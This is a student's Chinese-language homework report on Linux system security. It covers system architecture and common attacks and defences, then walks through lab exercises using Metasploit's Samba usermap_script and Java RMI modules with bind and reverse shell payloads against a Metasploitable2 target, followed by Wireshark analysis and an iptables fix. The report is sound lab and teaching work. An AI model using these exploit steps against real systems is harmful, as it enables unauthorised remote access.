20199101 2019-2020-2 《网络攻防实践》第八周作业
Linux系统安全攻防
0.总体结构
本次作业属于哪个课程 | 网络攻防实践 |
---|---|
这个作业要求在哪里 | Linux操作系统安全攻防 |
我在这个课程的目标是 | 学习网络攻防相关技术和原理 |
这个作业在哪个具体方面帮助我实现目标 | 学习Linux系统网络攻防的知识和体系 |
1.实践内容
第八章的主要内容是Linux操作系统的网络攻防的相关知识和实践,Linux系统因为其稳定、开源等特性一直在服务器端占有超高的使用率,所以学习Linux系统的攻防实践也是必不可少的。我主要从以下四个方面进行介绍。
- Linux操作系统基本框架概述
- Linux操作系统安全机制
- Linux系统远程安全攻防技术
- Linux系统本地安全攻防技术
Linux操作系统基本框架概述
-
如下图所示,Linux系统一般有4个主要部分:内核、shell、文件系统和应用程序。内核、shell和文件系统一起形成了基本的操作系统结构,它们使得用户可以运行程序、管理文件并使用系统。
-
内核:内核是操作系统的核心,具有很多最基本功能,如虚拟内存、多任务、共享库、需求加载、可执行程序和TCP/IP网络功能。Linux内核的模块分为以下几个部分:存储管理、CPU进程管理、文件系统、设备管理、网络通信、系统调用等。
-
内存管理:Linux采用了称为虚拟内存的内存管理方式。允许多个进程安全地共享物理内存区域,在32位机器上,每个进程拥有独立的4GB虚拟内存空间,其中内核的代码与数据段被映射到
3GB
以上的空间,用户态代码申请的虚拟内存空间为0-3GB
区间。 -
进程管理:进程实际是某特定应用程序的一个运行实体。Linux采用抢占式多用户进程模式,,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构。
-
文件系统:Linux将独立的文件系统组合成了一个层次化的树形结构,并且由一个单独的实体代表这一文件系统。虚拟文件系统(VFS)是Linux内核中非常有用的一个方面,因为它为文件系统提供了一个通用的接口抽象(一切皆文件的特性)。
-
设备驱动程序:设备驱动程序提供一组操作系统可理解的抽象接口完成和操作系统之间的交互,而与硬件相关的具体操作细节由设备驱动程序完成。
-
网络接口:网络接口可分为网络协议和网络驱动程序。网络接口提供了对各种网络标准的存取和各种网络硬件的支持。网络协议部分负责实现每一种可能的网络传输协议。Linux内核的网络部分由BSD套接字、网络协议层和网络设备驱动程序组成。网络设备驱动程序负责与硬件设备通讯,每一种可能的硬件设备都有相应的设备驱动程序。
-
系统调用:Linux提供系统调用接口,允许应用程序透过接口访问硬件设备和其他系统资源,有助于保证Linux系统的稳定可靠和安全,并为用户空间提供了一种统一的抽象接口,有助于应用程序的跨平台移植。
Linux操作系统安全机制
(1). 身份认证
-
用户:root用户、普通用户、系统用户。用户信息保存在
/etc/password
文件中,加密口令存放在/etc/shadow/
中,只对root可读。 -
用户组:具有相同特征的用户账户集合,用于简化整个系统的用户权限管理,通过修改文件或目录的权限,让用户组具有一定的操作权限,这样用户组下的用户对该文件或目录都具有相同的权限。用户组的信息保存在系统的
/etc/group/
文件中,加密口令保存在/etc/gshadow/
中。 -
统一身份认证中间件—PAM:一种验证用户身份的灵活与标准的方法。PAM通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要,给不同的服务配置不同的认证方式,同时也便于向系统中添加新的认证手段。
(2). 授权与访问控制
- 每个文件都拥有其所有者,表明了该文件属于哪个用户所有,以文件所有者的uid以及文件所有者所在组的gid来指明。
- 每个用户的专属初始目录权限为
rwx------
,即只有所有者拥有浏览、删除、修改和进入的权限。r=4,w=2,x=1
,所以通常的的777
就是rwxrwxrwx
。 - SUID和SGID被称为特权。
SUID权限允许可执行文件在运行时刻从运行者的身份提升至文件所有者权限,可以任意存取文件所有者能使用的全部系统资源。
SGID在程序执行时以所有者的组的权限进行运行,该程序就可以任意存取整个用户组能够使用的系统资源。
(3). Linux安全审计机制
主要通过以下三个日志子系统来实现。
- 连接时间日志:由多个程序执行,使系统管理员能够跟组谁在何时登录到系统。
- 进程统计日志:当一个进程终止时,为每个进程往进程统计文件中写一个记录。
- 错误日志记录:由通用日志记录服务执行。
Linux远程安全攻防技术
远程网络侵入Linux系统的主要有四种方法:
- 口令字猜测攻击,假冒该用户的身份进入系统(原始而实用,彩虹表的提出是一个重大的突破)。
- 寻找Linux系统某个监听网络服务的安全漏洞并进行利用攻击(注入攻击负载模块代码)。
- 通过网页木马、发送诈欺邮件、提供特洛伊木马程序等技术和社会工程学手段,获取用户口令。
- 在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击。
(1). 远程口令字猜测攻击
- 攻击原理:一开始主要采用暴力攻击,后面还有字典攻击,字典攻击是非常有效的爆破方式,后面可能还面临量子计算的攻击。
- 攻击工具:Brutus(不再更新)、THC Hydra(支持多种协议)、Caun and Abel(针对Windows和Linux)。
- 防御方法:使用强口令字、使用一些口令猜测的防攻击软件、不要在多个地方用同一个密码(这点很重要,因为用户可以捕获某些比较弱的网站从而得到密码)、现在已经有很多新技术可以有效防止被爆破(彩虹表、盐、胡椒等)。
(2). 网络服务远程渗透攻击
- 针对Linux内核中的网络协议栈的代码漏洞攻击,网络协议栈是每个网络服务所依赖的基础平台。
- LAMP Web网站构建解决方案中的网络服务存在的漏洞攻击。LAMP是目前最流行的web网站构建解决方案,代表的含义为:Linux网站服务器运行平台,Apache提供HTTP/HTTPS的网页服务,MySQL数据库管理,PHP语言来开发与实现web应用程序。其组合服务扩展模块成为Linux系统主要的远程攻击渗透目标。
- FTP Samba等文件共享服务(FTP文件交换和共享传输、Samba是用来让LinuxWindows系统SMB/CIFS网络协议相连接的网络服务),这些服务在web网站服务器、企业内部文件服务器等存储有企业组织核心数据资产的关键Linux系统中往往比较常见,因此也成为黑客们破解这些关键系统必须尝试的攻击通道。
- 电子邮件收发服务(如sendmail服务),也是Linux系统上最容易遭受攻击的方面。
- 还有很多其他的网络服务容易遭受攻击,如
openssh tcp22
、openssl tcp443
、nfs tcp/udp2049
等。 - 防范措施:
- 禁用所有不需要的网络服务。
- 尽量选择更加安全的网络协议与服务软件。
- 及时更新网络服务版本。
- 使用xinetd、防火墙为Linux网络服务添加网络访问控制机制。
- 建立入侵检测机制与应急响应计划流程。
(3). 攻击Linux客户端程序和用户
- 攻击Linux平台上的客户端程序:Linux客户端程序中最容易遭受攻击的就是web浏览器(如常用的FireFox就被爆出漏洞)和电子邮件客户端(ThunderBird)。
- 攻击Linux用户:利用社会工程学的知识和相关的Google Hacking对Linux用户进行了解,引导Linux用户安装相关的应用以及进行不安全的饿操作。
- 防范措施:
- Linux用户应尽量保证常用网络客户端软件的及时更新(开启自动更新机制)。
- 了解各种社会工程学技术,提高自身的抗欺骗能力。
(4). 攻击Linux路由器和监听器
- Linux最容易让人忽略的就是作为路由器和监听网络设备时,在进行路由转发和数据包嗅探所遭受的特殊数据包攻击。
- 攻击Linux路由器与防火墙:主要是攻击netfilter模块的漏洞。
- 攻击监听器及入侵检测器:tcpdump中存在在大量的拒绝服务、缓冲区溢出、本地特权提升等漏洞。
- 防范措施:
- 网络与安全设备自身的安全性与可用性非常重要,对于维护网络中的设备,应及时关注厂商的安全威胁报告,并对已发现的安全问题进行修补。
- 网络管理员在构建网络安全防御、检测与相应体系时,应站在攻击者角度,掌握攻击者的渗透入侵技术手段。
Linux本地安全攻防技术
- 本地特权提升:
- 破解出Root用户的口令,并执行
sudo su
命令进行提升(这一部分和远程口令字猜测类似,主要通过算力来进行破解)。 - 发掘并利用su或sudo程序中的安全漏洞。
- 用户态带有SUID特殊权限位的软件是本地特权提升攻击的最主要目标对象之一(设置了SUID位之后,再执行这个程序,运行进程的有效UID就变成了该程序的所有者用户ID)。包括针对SUID程序的本地缓冲区溢出攻击、针对SUID程序的符号链接攻击、针对SUID程序的竞争条件攻击(由于一些程序软件并没有遵循操作的原则特性而存在,在进程操作某个信号量时,可能由于其他进程同时对其操作而造成不可预期的后果)、针对SUID程序的共享函数库攻击(类似于Windows系统动态链接库DLL的一种函数库动态加载机制,允许可执行文件在执行阶段从某个公共的函数库中调用一些功能代码片段)。
- 破解出Root用户的口令,并执行
- 本地特权提升攻击的防范技术与措施:
- 查看系统的SUID特权程序。
- 提升对抗入侵的防护水平。
- 定期进行软件的更新。
- 使用强口令字。
- 使用SELinux( Linux 内核模块,也是 Linux 的一个安全子系统),参考selinux到底是什么,讲的很好了,不具体说了。
- 消踪灭迹:主要审计日志集中
的/var/log
目录下,主要有系统核心进程、syslogd与各个网络服务提供事件审计功能。注意攻击者还需要清理的是自己在shell
程序中所输入的命令历史记录。 - 远程控制后门程序:植入远程控制后门程序的类型主要有特洛伊木马化系统程序、命令行后门工具、图形化后门工具。
2.实践过程
实践一:使用Metasploit进行Linux远程渗透攻击
任务:使用Metaspolit作为渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取Linux靶机的主机访问权限。
- 使用
exploit:exploit/multi/samba/usermap_script
渗透攻击模块 - 选择攻击
PAYLOAD
为远程shell
- 设置攻击参数
- 执行攻击
- 查看是否得到正确的远程
shell
Solution
-
实验环境:攻击机:Kali(
192.168.3.19
)、靶机:Metasploitable2-Linux(192.168.3.37
) -
接下来应该查看呢Samba使用的端口,主要使用的139号(TCP文件和打印共享)和445号(NetBIOS服务在Windows 2000及以后版本使用此端口)端口。其他的端口和服务参考Samba 服务使用的端口和协议。
-
先通过namp进行查点,确定靶机的端口是打开的,使用指令
namp 192.168.3.37
。
-
首先通过指令
msfconsole
打开metasploit命令行,出现如下图所示则表示正确。
-
查看攻击载荷并设置攻击载荷,这里我设置的是
cmd/unix/bind_netcat
,表示使用在渗透攻击成功后执行shell
并通过netcat绑定在一个监听端口上。
-
使用指令
set rhost 192.168.3.37
、set lhost 192.168.3.19
设置目标主机地址和本机地址,并使用exploit
执行攻击。
-
执行成功后输入shell指令查看是否正确获取远程Linux主机权限。如下图所示,
ifconfig
返回的的确是靶机的IP地址,使用whoami
查看当前的用户。
实践二:攻防对抗实践
任务:攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机实施网络攻击,防御方使用wireshark捕获攻击流并进行分析,同时打上补丁
- 攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
- 防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息。
攻击方
-
首先我了解了一下metasploitable Linux存在的一些漏洞,具体的内容可以参考metasploitable2 漏洞合集学习。我在这里选择了
java RMI SERVER
命令执行漏洞。 -
为了保证完整性,首先我们采用Nessus进行漏洞扫描,具体的Nessus使用方法参考网络信息收集。通过扫描,我们发现这个漏洞确实是存在的,并且是在
1099
端口。
-
首先使用
search java_rmi
寻找一下在exploit中的java_rmi
模块,并使用指令use exploit/multi/misc/java_rmi_server
使用该攻击模块。
-
使用
set rhost 192.168.3.37
设置攻击目标的IP地址,通过set lhost 192.168.3.19
设置攻击机的IP地址。在这里,我们将使用功能强大的Meterpreter
和反向TCP Shell。输入java/meterpreter/reverse_tcp
以启用此有效负载。但是,在后面利用Wireshark进行监听的时候,发现该payload导致观察的数据包基本为乱码,所以该设置payload为set payload java/shell/reverse_tcp
。
-
通过
sessions
查看有哪些端口会话,并且使用sessions -i 2
选择使用哪个会话。(下面的截图是针对meterpreter
的)。
-
输入指令查看我们是否获得了正确的权限,通过
ifconfig
查看以下IP地址,并且通过getuid
查看我们的发现,可以发现我们是具有root权限的。至此,攻击方的内容基本完成。
防守方
-
定义:RMI远程方法调用是一种计算机之间利用远程对象互相调用实现双方通讯的机制。使用这种机制,某一台计算机上的对象可以调用另外一台计算机上的对象来获取远程数据。RMI是Enterprise JavaBeans的支柱,是建立分布式Java应用程序的方便途径。
-
对于一个漏洞小白来说还是要了解一下什么是Java RMI远程方法调用,参考JAVA RMI 原理和使用浅析。关于这个漏洞的原理介绍实在太少,我会在分析的时候着重说明原理。
-
使用Wireshark进行数据包的捕获,可以看到攻击机首先确定了TCP是否正确通信,确定
1099
端口是否可用。这也就是攻击开始的时间。并且,我们可以确定的是,攻击者的IP地址为192.168.3.19
,靶机IP为192.168.3.37
,端口号为1099
(这就是rmi漏洞的端口)。
-
继续观察上图,我们发现一个RMI数据包,这个也叫Java对象序列化,用于封送调用和返回数据,在攻击成功(调用成功)会有一个ReturnData。同时观察下图,可以看到一个HTTP数据包,HTTP协议用于“发布”远程方法调用,并在情况允许时获取返回数据。这两个协议是Java RMI最重要的部分。可以确定这是一个Java RMI远程调用攻击。
-
通过上图和上面的分析,我们可以简单的猜测注入的
5pjwzM/z.jar
是一段恶意代码(通过8080端口传输数据),也就是shellcode,通过追踪这个HTTP数据包的流,如下图所示。可以看到一些类似RMILoader.class
,所以这里应该就是我们进行攻击的shellcode。
-
追踪最后的TCP流发现攻击者使用了
ifconfig
指令查看了本机的IP地址,并且用户还使用了whoami
查看了他的用户权限。但这里,防御方的分析也基本结束。
-
最后,防御方应该为这个漏洞打上补丁,主要有以下几种方法。
- 升级Java jdk版本,Java RMI类加载器漏洞是在Java 7.21中解决的。首推这种方法!!!。
- 用基于主机的防火墙来增加其他安全性,以限制对受影响服务的访问。
- 使用SSL,禁用HTTP并切换为使用具有有效证书的HTTPS,可以进一步保护
OEM/OEE
控制台。 - 防止破解主AdminServer进程。这个没有实践,具体的内容参考How to prevent Java RMI class loader exploit with AdminServer
-
下面我选了一个最简单的办法,即禁用1099号端口,然后尝试利用kali进行攻击,发现已经无法实施攻击。使用指令
iptables -A INPUT -p tcp --dport 1099 -j DROP
和iptables -A INPUT -p tcp --sport 1099 -j DROP
来禁用1099
号端口。这个方法同样也禁用了JAVA RMI方法的使用。(实验结束了记得还原回去)
-
下面我们在kali上进行攻击如下图所示。namp扫描显示
1099
端口已经是filtered
状态,这个时候已经确定1099端口是不可用的,使用原来的方法进行攻击发现也无法建立会话。
-
这个算是一个比较简单的修补吧,主要是影响了功能的使用,所以最好的方法还是建议赶快升级软件!!!
2.学习中遇到的问题及解决
- 问题一:对漏洞不了解,选取漏洞需要耗费很长的时间。
- 问题一解决方案:慢慢积累,不过还是没找到15年之后的漏洞,自己尝试了几个都是失败的。
3.学习感悟、思考
- 首先必须反思一下,上次Windows操作系统网络攻防的书本知识没有详细看,本周作业较少,算是补上了,才感觉到书上的知识的系统性的重要,受益匪浅。
- 周末回去老家帮爷爷奶奶干了两天农活,为啥和用脑相比,感觉体力的付出稍微舒服点呢。可能真的脑子不够用了吧!!!
- 作业写了忘记交了,得亏室友提醒,不然就要错过交作业的时间了。